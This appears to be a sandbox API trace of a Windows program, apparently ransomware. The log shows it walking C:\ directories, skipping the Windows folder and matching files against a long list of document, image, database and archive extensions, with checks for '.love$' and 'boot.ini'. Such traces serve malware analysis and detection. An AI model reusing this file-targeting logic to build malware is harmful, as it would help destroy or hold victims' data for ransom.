[0123.694] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0123.694] lstrlenW (lpString=".7z") returned 3 [0123.694] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0123.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68 [0123.694] lstrlenW (lpString=".dbf") returned 4 [0123.694] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0123.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68 [0123.694] lstrlenW (lpString=".1cd") returned 4 [0123.694] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0123.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68 [0123.694] lstrlenW (lpString=".jpg") returned 4 [0123.694] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0123.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68 [0123.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68 [0123.694] lstrlenW (lpString=".doc") returned 4 [0123.694] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0123.694] lstrlenW (lpString=".docx") returned 5 [0123.694] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0123.694] lstrlenW (lpString=".pdf") returned 4 [0123.694] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0123.694] lstrlenW (lpString=".xls") returned 4 [0123.694] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0123.694] lstrlenW (lpString=".xlsx") returned 5 [0123.695] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0123.695] lstrlenW (lpString=".ppt") returned 4 [0123.695] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0123.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68 [0123.695] lstrlenW (lpString=".zip") returned 4 [0123.695] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0123.695] lstrlenW (lpString=".rar") returned 4 [0123.695] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0123.695] lstrlenW (lpString=".bz2") returned 4 [0123.695] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0123.695] lstrlenW (lpString=".7z") returned 3 [0123.695] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0123.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68 [0123.695] lstrlenW (lpString=".dbf") returned 4 [0123.695] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0123.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68 [0123.695] lstrlenW (lpString=".1cd") returned 4 [0123.695] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0123.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68 [0123.695] lstrlenW (lpString=".jpg") returned 4 [0123.695] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0123.695] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0123.695] lstrlenW (lpString="BL00148_.WMF") returned 12 [0123.695] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00148_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0123.697] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=1696) returned 1 [0123.697] CloseHandle (hObject=0x354) returned 1 [0123.697] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00148_.wmf")) Thread: id = 19 os_tid = 0xcdc [0093.479] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3e40048 [0093.480] lstrlenW (lpString="C:") returned 2 [0093.480] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x349fcf8 | out: lpFindFileData=0x349fcf8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77970000, dwReserved1=0x0, cFileName="$GetCurrent", cAlternateFileName="$GETCU~1")) returned 0x3e50800 [0093.480] lstrlenW (lpString="C:\\$GetCurrent") returned 14 [0093.480] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent") returned 1 [0093.480] lstrlenW (lpString="$GetCurrent") returned 11 [0093.480] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="$GetCurrent") returned 1 [0093.480] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3e51058 [0093.481] lstrlenW (lpString="C:\\$GetCurrent") returned 14 [0093.481] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\*", lpFindFileData=0x349fa7c | out: lpFindFileData=0x349fa7c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x3e503c0 [0093.483] FindNextFileW (in: hFindFile=0x3e503c0, lpFindFileData=0x349fa7c | out: lpFindFileData=0x349fa7c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0093.483] FindNextFileW (in: hFindFile=0x3e503c0, lpFindFileData=0x349fa7c | out: lpFindFileData=0x349fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Logs", cAlternateFileName="")) returned 1 [0093.484] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19 [0093.484] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent\\Logs") returned 1 [0093.484] lstrlenW (lpString="Logs") returned 4 [0093.484] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="Logs") returned -1 [0093.484] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3e61060 [0093.485] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19 [0093.485] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\Logs\\*", lpFindFileData=0x349f800 | out: lpFindFileData=0x349f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3e50540 [0093.485] FindNextFileW (in: hFindFile=0x3e50540, lpFindFileData=0x349f800 | out: lpFindFileData=0x349f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.485] FindNextFileW (in: hFindFile=0x3e50540, lpFindFileData=0x349f800 | out: lpFindFileData=0x349f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x542c8aac, ftLastAccessTime.dwHighDateTime=0x1d3273a, ftLastWriteTime.dwLowDateTime=0xafe5f7a, ftLastWriteTime.dwHighDateTime=0x1d3273e, nFileSizeHigh=0x0, nFileSizeLow=0xa6b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="downlevel_2017_09_07_02_02_39_766.log", cAlternateFileName="DOWNLE~1.LOG")) returned 1 [0093.485] lstrlenW (lpString="downlevel_2017_09_07_02_02_39_766.log") returned 37 [0093.485] lstrlenW (lpString=".1cd") returned 4 [0093.485] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1 [0093.485] lstrlenW (lpString=".3ds") returned 4 [0093.485] lstrcmpiW (lpString1=".3ds", lpString2=".log") returned -1 [0093.485] lstrlenW (lpString=".3fr") returned 4 [0093.485] lstrcmpiW (lpString1=".3fr", lpString2=".log") returned -1 [0093.486] lstrlenW (lpString=".3g2") returned 4 [0093.486] lstrcmpiW (lpString1=".3g2", lpString2=".log") returned -1 [0093.486] lstrlenW (lpString=".3gp") returned 4 [0093.486] lstrcmpiW (lpString1=".3gp", lpString2=".log") returned -1 [0093.486] lstrlenW (lpString=".7z") returned 3 [0093.486] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1 [0093.486] lstrlenW (lpString=".accda") returned 6 [0093.486] lstrcmpiW (lpString1=".accda", lpString2="66.log") returned -1 [0093.486] lstrlenW (lpString=".accdb") returned 6 [0093.486] lstrcmpiW (lpString1=".accdb", lpString2="66.log") returned -1 [0093.486] lstrlenW (lpString=".accdc") returned 6 [0093.486] lstrcmpiW (lpString1=".accdc", lpString2="66.log") returned -1 [0093.486] lstrlenW (lpString=".accde") returned 6 [0093.486] lstrcmpiW (lpString1=".accde", lpString2="66.log") returned -1 [0093.486] lstrlenW (lpString=".accdt") returned 6 [0093.486] lstrcmpiW (lpString1=".accdt", lpString2="66.log") returned -1 [0093.486] lstrlenW (lpString=".accdw") returned 6 [0093.486] lstrcmpiW (lpString1=".accdw", lpString2="66.log") returned -1 [0093.486] lstrlenW (lpString=".adb") returned 4 [0093.486] lstrcmpiW (lpString1=".adb", lpString2=".log") returned -1 [0093.486] lstrlenW (lpString=".adp") returned 4 [0093.486] lstrcmpiW (lpString1=".adp", lpString2=".log") returned -1 [0093.486] lstrlenW (lpString=".ai") returned 3 [0093.486] lstrcmpiW (lpString1=".ai", lpString2="log") returned -1 [0093.486] lstrlenW (lpString=".ai3") returned 4 [0093.486] lstrcmpiW (lpString1=".ai3", lpString2=".log") returned -1 [0093.486] lstrlenW (lpString=".ai4") returned 4 [0093.486] lstrcmpiW (lpString1=".ai4", lpString2=".log") returned -1 [0093.487] lstrlenW (lpString=".ai5") returned 4 [0093.487] lstrcmpiW (lpString1=".ai5", lpString2=".log") returned -1 [0093.487] lstrlenW (lpString=".ai6") returned 4 [0093.487] lstrcmpiW (lpString1=".ai6", lpString2=".log") returned -1 [0093.487] lstrlenW (lpString=".ai7") returned 4 [0093.487] lstrcmpiW (lpString1=".ai7", lpString2=".log") returned -1 [0093.487] lstrlenW (lpString=".ai8") returned 4 [0093.487] lstrcmpiW (lpString1=".ai8", lpString2=".log") returned -1 [0093.487] lstrlenW (lpString=".anim") returned 5 [0093.487] lstrcmpiW (lpString1=".anim", lpString2="6.log") returned -1 [0093.487] lstrlenW (lpString=".arw") returned 4 [0093.487] lstrcmpiW (lpString1=".arw", lpString2=".log") returned -1 [0093.487] lstrlenW (lpString=".as") returned 3 [0093.487] lstrcmpiW (lpString1=".as", lpString2="log") returned -1 [0093.487] lstrlenW (lpString=".asa") returned 4 [0093.487] lstrcmpiW (lpString1=".asa", lpString2=".log") returned -1 [0093.487] lstrlenW (lpString=".asc") returned 4 [0093.487] lstrcmpiW (lpString1=".asc", lpString2=".log") returned -1 [0093.487] lstrlenW (lpString=".ascx") returned 5 [0093.487] lstrcmpiW (lpString1=".ascx", lpString2="6.log") returned -1 [0093.487] lstrlenW (lpString=".asm") returned 4 [0093.487] lstrcmpiW (lpString1=".asm", lpString2=".log") returned -1 [0093.487] lstrlenW (lpString=".asmx") returned 5 [0093.487] lstrcmpiW (lpString1=".asmx", lpString2="6.log") returned -1 [0093.487] lstrlenW (lpString=".asp") returned 4 [0093.487] lstrcmpiW (lpString1=".asp", lpString2=".log") returned -1 [0093.487] lstrlenW (lpString=".aspx") returned 5 [0093.487] lstrcmpiW (lpString1=".aspx", lpString2="6.log") returned -1 [0093.487] lstrlenW (lpString=".asr") returned 4 [0093.488] lstrcmpiW (lpString1=".asr", lpString2=".log") returned -1 [0093.488] lstrlenW (lpString=".asx") returned 4 [0093.488] lstrcmpiW (lpString1=".asx", lpString2=".log") returned -1 [0093.488] lstrlenW (lpString=".avi") returned 4 [0093.488] lstrcmpiW (lpString1=".avi", lpString2=".log") returned -1 [0093.488] lstrlenW (lpString=".avs") returned 4 [0093.488] lstrcmpiW (lpString1=".avs", lpString2=".log") returned -1 [0093.488] lstrlenW (lpString=".backup") returned 7 [0093.488] lstrcmpiW (lpString1=".backup", lpString2="766.log") returned -1 [0093.488] lstrlenW (lpString=".bak") returned 4 [0093.488] lstrcmpiW (lpString1=".bak", lpString2=".log") returned -1 [0093.488] lstrlenW (lpString=".bay") returned 4 [0093.488] lstrcmpiW (lpString1=".bay", lpString2=".log") returned -1 [0093.488] lstrlenW (lpString=".bd") returned 3 [0093.488] lstrcmpiW (lpString1=".bd", lpString2="log") returned -1 [0093.488] lstrlenW (lpString=".bin") returned 4 [0093.488] lstrcmpiW (lpString1=".bin", lpString2=".log") returned -1 [0093.488] lstrlenW (lpString=".bmp") returned 4 [0093.488] lstrcmpiW (lpString1=".bmp", lpString2=".log") returned -1 [0093.488] lstrlenW (lpString=".bz2") returned 4 [0093.488] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1 [0093.488] lstrlenW (lpString=".c") returned 2 [0093.488] lstrcmpiW (lpString1=".c", lpString2="og") returned -1 [0093.488] lstrlenW (lpString=".cdr") returned 4 [0093.488] lstrcmpiW (lpString1=".cdr", lpString2=".log") returned -1 [0093.488] lstrlenW (lpString=".cer") returned 4 [0093.488] lstrcmpiW (lpString1=".cer", lpString2=".log") returned -1 [0093.488] lstrlenW (lpString=".cf") returned 3 [0093.489] lstrcmpiW (lpString1=".cf", lpString2="log") returned -1 [0093.489] lstrlenW (lpString=".cfc") returned 4 [0093.489] lstrcmpiW (lpString1=".cfc", lpString2=".log") returned -1 [0093.489] lstrlenW (lpString=".cfm") returned 4 [0093.489] lstrcmpiW (lpString1=".cfm", lpString2=".log") returned -1 [0093.489] lstrlenW (lpString=".cfml") returned 5 [0093.489] lstrcmpiW (lpString1=".cfml", lpString2="6.log") returned -1 [0093.489] lstrlenW (lpString=".cfu") returned 4 [0093.489] lstrcmpiW (lpString1=".cfu", lpString2=".log") returned -1 [0093.489] lstrlenW (lpString=".chm") returned 4 [0093.489] lstrcmpiW (lpString1=".chm", lpString2=".log") returned -1 [0093.489] lstrlenW (lpString=".cin") returned 4 [0093.489] lstrcmpiW (lpString1=".cin", lpString2=".log") returned -1 [0093.489] lstrlenW (lpString=".class") returned 6 [0093.489] lstrcmpiW (lpString1=".class", lpString2="66.log") returned -1 [0093.489] lstrlenW (lpString=".clx") returned 4 [0093.489] lstrcmpiW (lpString1=".clx", lpString2=".log") returned -1 [0093.489] lstrlenW (lpString=".config") returned 7 [0093.489] lstrcmpiW (lpString1=".config", lpString2="766.log") returned -1 [0093.489] lstrlenW (lpString=".cpp") returned 4 [0093.489] lstrcmpiW (lpString1=".cpp", lpString2=".log") returned -1 [0093.489] lstrlenW (lpString=".cr2") returned 4 [0093.489] lstrcmpiW (lpString1=".cr2", lpString2=".log") returned -1 [0093.489] lstrlenW (lpString=".crt") returned 4 [0093.489] lstrcmpiW (lpString1=".crt", lpString2=".log") returned -1 [0093.489] lstrlenW (lpString=".crw") returned 4 [0093.489] lstrcmpiW (lpString1=".crw", lpString2=".log") returned -1 [0093.489] lstrlenW (lpString=".cs") returned 3 [0093.490] lstrcmpiW (lpString1=".cs", lpString2="log") returned -1 [0093.490] lstrlenW (lpString=".css") returned 4 [0093.490] lstrcmpiW (lpString1=".css", lpString2=".log") returned -1 [0093.490] lstrlenW (lpString=".csv") returned 4 [0093.490] lstrcmpiW (lpString1=".csv", lpString2=".log") returned -1 [0093.490] lstrlenW (lpString=".cub") returned 4 [0093.490] lstrcmpiW (lpString1=".cub", lpString2=".log") returned -1 [0093.490] lstrlenW (lpString=".dae") returned 4 [0093.490] lstrcmpiW (lpString1=".dae", lpString2=".log") returned -1 [0093.490] lstrlenW (lpString=".dat") returned 4 [0093.490] lstrcmpiW (lpString1=".dat", lpString2=".log") returned -1 [0093.490] lstrlenW (lpString=".db") returned 3 [0093.490] lstrcmpiW (lpString1=".db", lpString2="log") returned -1 [0093.490] lstrlenW (lpString=".dbf") returned 4 [0093.490] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1 [0093.490] lstrlenW (lpString=".dbx") returned 4 [0093.490] lstrcmpiW (lpString1=".dbx", lpString2=".log") returned -1 [0093.490] lstrlenW (lpString=".dc3") returned 4 [0093.490] lstrcmpiW (lpString1=".dc3", lpString2=".log") returned -1 [0093.490] lstrlenW (lpString=".dcm") returned 4 [0093.490] lstrcmpiW (lpString1=".dcm", lpString2=".log") returned -1 [0093.490] lstrlenW (lpString=".dcr") returned 4 [0093.490] lstrcmpiW (lpString1=".dcr", lpString2=".log") returned -1 [0093.490] lstrlenW (lpString=".der") returned 4 [0093.490] lstrcmpiW (lpString1=".der", lpString2=".log") returned -1 [0093.490] lstrlenW (lpString=".dib") returned 4 [0093.490] lstrcmpiW (lpString1=".dib", lpString2=".log") returned -1 [0093.490] lstrlenW (lpString=".dic") returned 4 [0093.491] lstrcmpiW (lpString1=".dic", lpString2=".log") returned -1 [0093.491] lstrlenW (lpString=".dif") returned 4 [0093.491] lstrcmpiW (lpString1=".dif", lpString2=".log") returned -1 [0093.491] lstrlenW (lpString=".divx") returned 5 [0093.491] lstrcmpiW (lpString1=".divx", lpString2="6.log") returned -1 [0093.491] lstrlenW (lpString=".djvu") returned 5 [0093.491] lstrcmpiW (lpString1=".djvu", lpString2="6.log") returned -1 [0093.491] lstrlenW (lpString=".dng") returned 4 [0093.491] lstrcmpiW (lpString1=".dng", lpString2=".log") returned -1 [0093.491] lstrlenW (lpString=".doc") returned 4 [0093.491] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1 [0093.491] lstrlenW (lpString=".docm") returned 5 [0093.491] lstrcmpiW (lpString1=".docm", lpString2="6.log") returned -1 [0093.491] lstrlenW (lpString=".docx") returned 5 [0093.491] lstrcmpiW (lpString1=".docx", lpString2="6.log") returned -1 [0093.491] lstrlenW (lpString=".dot") returned 4 [0093.491] lstrcmpiW (lpString1=".dot", lpString2=".log") returned -1 [0093.491] lstrlenW (lpString=".dotm") returned 5 [0093.491] lstrcmpiW (lpString1=".dotm", lpString2="6.log") returned -1 [0093.491] lstrlenW (lpString=".dotx") returned 5 [0093.491] lstrcmpiW (lpString1=".dotx", lpString2="6.log") returned -1 [0093.491] lstrlenW (lpString=".dpx") returned 4 [0093.491] lstrcmpiW (lpString1=".dpx", lpString2=".log") returned -1 [0093.491] lstrlenW (lpString=".dqy") returned 4 [0093.491] lstrcmpiW (lpString1=".dqy", lpString2=".log") returned -1 [0093.491] lstrlenW (lpString=".dsn") returned 4 [0093.491] lstrcmpiW (lpString1=".dsn", lpString2=".log") returned -1 [0093.491] lstrlenW (lpString=".dt") returned 3 [0093.492] lstrcmpiW (lpString1=".dt", lpString2="log") returned -1 [0093.492] lstrlenW (lpString=".dtd") returned 4 [0093.492] lstrcmpiW (lpString1=".dtd", lpString2=".log") returned -1 [0093.492] lstrlenW (lpString=".dwg") returned 4 [0093.492] lstrcmpiW (lpString1=".dwg", lpString2=".log") returned -1 [0093.492] lstrlenW (lpString=".dwt") returned 4 [0093.492] lstrcmpiW (lpString1=".dwt", lpString2=".log") returned -1 [0093.492] lstrlenW (lpString=".dx") returned 3 [0093.492] lstrcmpiW (lpString1=".dx", lpString2="log") returned -1 [0093.492] lstrlenW (lpString=".dxf") returned 4 [0093.492] lstrcmpiW (lpString1=".dxf", lpString2=".log") returned -1 [0093.492] lstrlenW (lpString=".edml") returned 5 [0093.492] lstrcmpiW (lpString1=".edml", lpString2="6.log") returned -1 [0093.492] lstrlenW (lpString=".efd") returned 4 [0093.492] lstrcmpiW (lpString1=".efd", lpString2=".log") returned -1 [0093.492] lstrlenW (lpString=".elf") returned 4 [0093.492] lstrcmpiW (lpString1=".elf", lpString2=".log") returned -1 [0093.492] lstrlenW (lpString=".emf") returned 4 [0093.492] lstrcmpiW (lpString1=".emf", lpString2=".log") returned -1 [0093.492] lstrlenW (lpString=".emz") returned 4 [0093.492] lstrcmpiW (lpString1=".emz", lpString2=".log") returned -1 [0093.492] lstrlenW (lpString=".epf") returned 4 [0093.492] lstrcmpiW (lpString1=".epf", lpString2=".log") returned -1 [0093.492] lstrlenW (lpString=".eps") returned 4 [0093.492] lstrcmpiW (lpString1=".eps", lpString2=".log") returned -1 [0093.492] lstrlenW (lpString=".epsf") returned 5 [0093.492] lstrcmpiW (lpString1=".epsf", lpString2="6.log") returned -1 [0093.493] lstrlenW (lpString=".epsp") returned 5 [0093.493] lstrcmpiW (lpString1=".epsp", lpString2="6.log") returned -1 [0093.493] lstrlenW (lpString=".erf") returned 4 [0093.493] lstrcmpiW (lpString1=".erf", lpString2=".log") returned -1 [0093.493] lstrlenW (lpString=".exr") returned 4 [0093.493] lstrcmpiW (lpString1=".exr", lpString2=".log") returned -1 [0093.493] lstrlenW (lpString=".f4v") returned 4 [0093.493] lstrcmpiW (lpString1=".f4v", lpString2=".log") returned -1 [0093.493] lstrlenW (lpString=".fido") returned 5 [0093.493] lstrcmpiW (lpString1=".fido", lpString2="6.log") returned -1 [0093.493] lstrlenW (lpString=".flm") returned 4 [0093.493] lstrcmpiW (lpString1=".flm", lpString2=".log") returned -1 [0093.493] lstrlenW (lpString=".flv") returned 4 [0093.493] lstrcmpiW (lpString1=".flv", lpString2=".log") returned -1 [0093.493] lstrlenW (lpString=".frm") returned 4 [0093.493] lstrcmpiW (lpString1=".frm", lpString2=".log") returned -1 [0093.493] lstrlenW (lpString=".fxg") returned 4 [0093.493] lstrcmpiW (lpString1=".fxg", lpString2=".log") returned -1 [0093.493] lstrlenW (lpString=".geo") returned 4 [0093.493] lstrcmpiW (lpString1=".geo", lpString2=".log") returned -1 [0093.493] lstrlenW (lpString=".gif") returned 4 [0093.493] lstrcmpiW (lpString1=".gif", lpString2=".log") returned -1 [0093.493] lstrlenW (lpString=".grs") returned 4 [0093.493] lstrcmpiW (lpString1=".grs", lpString2=".log") returned -1 [0093.493] lstrlenW (lpString=".gz") returned 3 [0093.493] lstrcmpiW (lpString1=".gz", lpString2="log") returned -1 [0093.493] lstrlenW (lpString=".h") returned 2 [0093.494] lstrcmpiW (lpString1=".h", lpString2="og") returned -1 [0093.494] lstrlenW (lpString=".hdr") returned 4 [0093.494] lstrcmpiW (lpString1=".hdr", lpString2=".log") returned -1 [0093.494] lstrlenW (lpString=".hpp") returned 4 [0093.494] lstrcmpiW (lpString1=".hpp", lpString2=".log") returned -1 [0093.494] lstrlenW (lpString=".hta") returned 4 [0093.494] lstrcmpiW (lpString1=".hta", lpString2=".log") returned -1 [0093.494] lstrlenW (lpString=".htc") returned 4 [0093.494] lstrcmpiW (lpString1=".htc", lpString2=".log") returned -1 [0093.494] lstrlenW (lpString=".htm") returned 4 [0093.494] lstrcmpiW (lpString1=".htm", lpString2=".log") returned -1 [0093.494] lstrlenW (lpString=".html") returned 5 [0093.494] lstrcmpiW (lpString1=".html", lpString2="6.log") returned -1 [0093.494] lstrlenW (lpString=".icb") returned 4 [0093.494] lstrcmpiW (lpString1=".icb", lpString2=".log") returned -1 [0093.494] lstrlenW (lpString=".ics") returned 4 [0093.494] lstrcmpiW (lpString1=".ics", lpString2=".log") returned -1 [0093.494] lstrlenW (lpString=".iff") returned 4 [0093.494] lstrcmpiW (lpString1=".iff", lpString2=".log") returned -1 [0093.494] lstrlenW (lpString=".inc") returned 4 [0093.494] lstrcmpiW (lpString1=".inc", lpString2=".log") returned -1 [0093.494] lstrlenW (lpString=".indd") returned 5 [0093.494] lstrcmpiW (lpString1=".indd", lpString2="6.log") returned -1 [0093.494] lstrlenW (lpString=".ini") returned 4 [0093.494] lstrcmpiW (lpString1=".ini", lpString2=".log") returned -1 [0093.494] lstrlenW (lpString=".iqy") returned 4 [0093.494] lstrcmpiW (lpString1=".iqy", lpString2=".log") returned -1 [0093.495] lstrlenW (lpString=".j2c") returned 4 [0093.495] lstrcmpiW (lpString1=".j2c", lpString2=".log") returned -1 [0093.495] lstrlenW (lpString=".j2k") returned 4 [0093.495] lstrcmpiW (lpString1=".j2k", lpString2=".log") returned -1 [0093.495] lstrlenW (lpString=".java") returned 5 [0093.495] lstrcmpiW (lpString1=".java", lpString2="6.log") returned -1 [0093.495] lstrlenW (lpString=".jp2") returned 4 [0093.495] lstrcmpiW (lpString1=".jp2", lpString2=".log") returned -1 [0093.495] lstrlenW (lpString=".jpc") returned 4 [0093.495] lstrcmpiW (lpString1=".jpc", lpString2=".log") returned -1 [0093.495] lstrlenW (lpString=".jpe") returned 4 [0093.495] lstrcmpiW (lpString1=".jpe", lpString2=".log") returned -1 [0093.495] lstrlenW (lpString=".jpeg") returned 5 [0093.495] lstrcmpiW (lpString1=".jpeg", lpString2="6.log") returned -1 [0093.495] lstrlenW (lpString=".jpf") returned 4 [0093.495] lstrcmpiW (lpString1=".jpf", lpString2=".log") returned -1 [0093.495] lstrlenW (lpString=".jpg") returned 4 [0093.495] lstrcmpiW (lpString1=".jpg", lpString2=".log") returned -1 [0093.495] lstrlenW (lpString=".jpx") returned 4 [0093.495] lstrcmpiW (lpString1=".jpx", lpString2=".log") returned -1 [0093.495] lstrlenW (lpString=".js") returned 3 [0093.495] lstrcmpiW (lpString1=".js", lpString2="log") returned -1 [0093.495] lstrlenW (lpString=".jsf") returned 4 [0093.495] lstrcmpiW (lpString1=".jsf", lpString2=".log") returned -1 [0093.495] lstrlenW (lpString=".json") returned 5 [0093.495] lstrcmpiW (lpString1=".json", lpString2="6.log") returned -1 [0093.495] lstrlenW (lpString=".jsp") returned 4 [0093.496] lstrcmpiW (lpString1=".jsp", lpString2=".log") returned -1 [0093.496] lstrlenW (lpString=".kdc") returned 4 [0093.496] lstrcmpiW (lpString1=".kdc", lpString2=".log") returned -1 [0093.496] lstrlenW (lpString=".kmz") returned 4 [0093.496] lstrcmpiW (lpString1=".kmz", lpString2=".log") returned -1 [0093.496] lstrlenW (lpString=".kwm") returned 4 [0093.496] lstrcmpiW (lpString1=".kwm", lpString2=".log") returned -1 [0093.496] lstrlenW (lpString=".lasso") returned 6 [0093.496] lstrcmpiW (lpString1=".lasso", lpString2="66.log") returned -1 [0093.496] lstrlenW (lpString=".lbi") returned 4 [0093.496] lstrcmpiW (lpString1=".lbi", lpString2=".log") returned -1 [0093.496] lstrlenW (lpString=".lgf") returned 4 [0093.496] lstrcmpiW (lpString1=".lgf", lpString2=".log") returned -1 [0093.496] lstrlenW (lpString=".lgp") returned 4 [0093.496] lstrcmpiW (lpString1=".lgp", lpString2=".log") returned -1 [0093.496] lstrlenW (lpString=".log") returned 4 [0093.496] lstrcmpiW (lpString1=".log", lpString2=".log") returned 0 [0093.496] lstrlenW (lpString="downlevel_2017_09_07_02_02_39_766.log") returned 37 [0093.496] lstrlenW (lpString=".love$") returned 6 [0093.496] lstrcmpiW (lpString1=".love$", lpString2="66.log") returned -1 [0093.497] lstrlenW (lpString="downlevel_2017_09_07_02_02_39_766.log") returned 37 [0093.498] lstrcmpiW (lpString1="boot.ini", lpString2="downlevel_2017_09_07_02_02_39_766.log") returned -1 [0093.498] lstrcmpiW 